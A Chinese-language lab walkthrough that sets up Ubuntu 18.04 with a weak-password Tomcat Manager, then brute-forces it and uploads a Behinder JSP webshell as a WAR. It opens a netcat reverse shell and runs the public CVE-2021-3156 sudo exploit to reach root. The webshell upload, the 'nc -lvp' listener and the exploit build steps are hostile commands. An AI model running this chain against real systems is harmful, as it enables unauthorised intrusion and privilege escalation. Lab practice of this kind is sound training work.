该实验利用ubuntu 18.04以普通用户tomcat身份运行tomct中间件,利用Manager App弱口令上传webshell,获得tomcat权限,再利用sudo提取漏洞(CVE-2021-3156),将tomcat权限提升为root权限。
系统:Ubuntu 18.04.5 LTS
软件:apache-tomcat-9.0.45
webshell管理工具:Behinder_v3.0 Beta 11【t00ls专版】:https://github.com/rebeyond/Behinder/releases
0x01 安装jdk
jdk8下载:https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html
0x02 安装tomcat
tomcat下载地址:https://tomcat.apache.org/download-90.cgi
tomcat安装方法:https://blog.csdn.net/loveer0/article/details/82591266
0x03 新建tomcat用户及目录
sudo useradd tomcat #新建用户为tomcat
sudo passwd tomcat #设置tomcat密码
sudo mkdir /home/tomcat
sudo chown -R tomcat /home/tomcat
0x04 tomcat 开启Manager App
tomcat默认访问/manager/html会响应403,需要后台进行设置。参考文章:https://blog.csdn.net/weixin_42350212/article/details/108185991
1.修改conf/tomcat-users.xml
#加入如下代码,添加用户名tomcat,密码tomcat
<role rolename="admin-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="admin-gui,manager-gui"/>
2.修改webapps/manager/META-INF/context.xml
#添加允许远程访问的ip地址
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1|192\.168\.1\.\d+"/>
0x05 模拟manager/html爆破
burpsuite模拟爆破方法:https://my.oschina.net/u/3838688/blog/4430445
使用burpsuite的intruder模块,使用Custom iterator
方法对Authorization字段的用户名和密码进行爆破,通过返回长度和状态码判断是否爆破成功。
0x06 jsp木马打包成war包
#使用冰蝎中的shell.jsp木马,打包成war包
jar -cvf test.war shell.jsp
0x07 上传war包
将打包好的test.war包上传到tomcat中。观察流量,可以发现war包以表单格式上传,服务器返回消息:OK,表明WAR包上传成功。
0x08 使用冰蝎管理工具连webshell
冰蝎默认密码:rebeyond
0x09 制作sudo提权漏洞exp并上传
由于是使用tomcat用户启动的tomcat,所以权限为普通用户权限,现在利用sudo提取漏洞提权到root权限。
在本地服务器上下载并编译该EXP。
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
编译完代码后,会生成sudo-hax-me-a-sandwich文件和libnss_X文件夹,把这2个文件利用冰蝎上传到目标服务器上。
0x10 反弹shell执行sudo本地提权漏洞
控制端用nc监听端口 nc -lvp 3333
再利用冰蝎反弹shell模块反弹shell
然后给上传的sudo-hax-me-a-sandwich
文件执行权限,之后运行exp,就发现权限为root权限了。